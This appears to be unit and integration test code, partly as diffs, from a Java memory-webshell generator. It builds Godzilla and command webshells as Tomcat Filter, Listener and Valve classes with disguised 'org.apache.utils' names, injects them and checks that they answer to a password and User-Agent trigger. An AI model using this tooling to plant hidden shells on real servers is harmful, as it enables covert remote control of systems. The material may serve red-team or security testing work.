import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import java.util.stream.Stream;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaTest {
ShellConfig config = new ShellConfig();
GodzillaConfig.GodzillaConfigBuilder<?, ?> shellConfigBuilder = GodzillaConfig.builder()
.pass(CommonUtil.getRandomString(6))
.key(CommonUtil.getRandomString(6))
.headerName("User-Agent")
.headerValue(CommonUtil.getRandomString(5));
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(GodzillaFilter.class, "org.apache.utils.GodzillaFilter"),
arguments(GodzillaListener.class, "org.apache.utils.GodzillaListener"),
arguments(GodzillaValve.class, "org.apache.utils.GodzillaValve")
);
}
@ParameterizedTest
@MethodSource("casesProvider")
void generate(Class<?> clazz, String className) {
GodzillaConfig shellConfig = shellConfigBuilder
.className(className)
.clazz(clazz)
.build();
byte[] bytes = GodzillaGenerator.generate(config, shellConfig);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getClassName(), obj.getClass().getName());
assertEquals(shellConfig.getPass(), ClassUtils.getFieldValue(obj, "pass"));
assertEquals(shellConfig.getHeaderName(), ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(shellConfig.getHeaderValue(), ClassUtils.getFieldValue(obj, "headerValue"));
}
}
@@ -1,49 +0,0 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
/**
* @author ReaJason
* @since 2024/11/24
*/
class GodzillaValveTest {
String pass = "pass";
String key = "key";
String headerName = "User-Agent";
String headerValue = "test";
@Test
void generate() {
String className = "org.apache.utils.CommonValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
@Test
@SneakyThrows
void generateJakarta() {
String className = "org.apache.utils.CommonJakartaValve";
byte[] bytes = GodzillaGenerator.generate(GodzillaValve.class, className, pass, key, headerName, headerValue, true, Constants.DEFAULT_VERSION);
// Files.write(Paths.get(className + ".class"), bytes);
Object obj = ClassUtils.newInstance(bytes);
assertEquals(className, obj.getClass().getName());
assertEquals(pass, ClassUtils.getFieldValue(obj, "pass"));
assertEquals("3c6e0b8a9c15224a", ClassUtils.getFieldValue(obj, "key"));
assertEquals(headerName, ClassUtils.getFieldValue(obj, "headerName"));
assertEquals(headerValue, ClassUtils.getFieldValue(obj, "headerValue"));
System.out.println(Base64.encodeBase64String(bytes));
}
}
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
@@ -1,21 +1,12 @@
package com.reajason.javaweb.integration; package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.config.CommandConfig;
import com.reajason.javaweb.config.CommandShellConfig;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows; import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.HttpUrl; import okhttp3.HttpUrl;
import okhttp3.OkHttpClient; import okhttp3.OkHttpClient;
import okhttp3.Request; import okhttp3.Request;
import okhttp3.Response; import okhttp3.Response;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import java.util.Objects; import java.util.Objects;
@@ -27,15 +18,8 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
*/ */
@Slf4j @Slf4j
public class CommandShellTool { public class CommandShellTool {
public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
ShellTool shellTool = ShellTool.Command;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(packer.getPacker().pack(generateResult));
}
@SneakyThrows @SneakyThrows
public static void testIsOk(String entrypoint, CommandShellConfig shellConfig) { public static void testIsOk(String entrypoint, CommandConfig shellConfig) {
OkHttpClient okHttpClient = new OkHttpClient(); OkHttpClient okHttpClient = new OkHttpClient();
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
.newBuilder() .newBuilder()
@@ -1,12 +1,10 @@
package com.reajason.javaweb.integration; package com.reajason.javaweb.integration;
import com.reajason.javaweb.GeneratorMain; import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GenerateResult; import com.reajason.javaweb.config.*;
import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import java.io.IOException; import java.io.IOException;
@@ -18,25 +16,7 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
*/ */
public class GodzillaShellTool { public class GodzillaShellTool {
public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) { public static void testIsOk(String entrypoint, GodzillaConfig shellConfig) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(packer.getPacker().pack(generateResult));
}
public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
}
public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
}
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
try (GodzillaManager godzillaManager = GodzillaManager.builder() try (GodzillaManager godzillaManager = GodzillaManager.builder()
.entrypoint(entrypoint).pass(shellConfig.getPass()) .entrypoint(entrypoint).pass(shellConfig.getPass())
.key(shellConfig.getKey()).header(shellConfig.getHeaderName() .key(shellConfig.getKey()).header(shellConfig.getHeaderName()
@@ -1,12 +1,12 @@
package com.reajason.javaweb.integration; package com.reajason.javaweb.integration;
import com.reajason.javaweb.config.CommandShellConfig; import com.reajason.javaweb.GeneratorMain;
import com.reajason.javaweb.config.GodzillaShellConfig; import com.reajason.javaweb.config.*;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import java.util.Objects;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/5 * @since 2024/12/5
@@ -14,28 +14,37 @@ import lombok.extern.slf4j.Slf4j;
@Slf4j @Slf4j
public class ShellAssertionTool { public class ShellAssertionTool {
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) { public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packer.INSTANCE packer) {
InjectorConfig injectorConfig = new InjectorConfig();
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
.shellTool(shellTool)
.shellType(shellType)
.targetJdkVersion(targetJdkVersion)
.build();
String shellUrl; String shellUrl;
switch (shellTool) { switch (shellTool) {
case Godzilla: case Godzilla:
String pass = "pass" + shellType; String pass = "pass";
String key = "key" + shellType; String key = "key";
String headerValue = "Godzilla" + shellType + packer.name(); String headerValue = "Godzilla" + shellType + packer.name();
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder() GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass(pass).key(key) .pass(pass).key(key)
.headerName("User-Agent").headerValue(headerValue) .headerName("User-Agent").headerValue(headerValue)
.build(); .build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue); log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String godzillaContent = GodzillaShellTool.generate(server, shellConfig, shellType, targetJdkVersion, packer); String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer); shellUrl = assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
GodzillaShellTool.testIsOk(shellUrl, shellConfig); GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
break; break;
case Command: case Command:
String paramName = "Command" + shellType + packer.name(); String paramName = "Command" + shellType + packer.name();
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build(); CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
String commandContent = CommandShellTool.generate(server, config, shellType, targetJdkVersion, packer); String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName()); log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer); shellUrl = assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, config); CommandShellTool.testIsOk(shellUrl, commandConfig);
} }
} }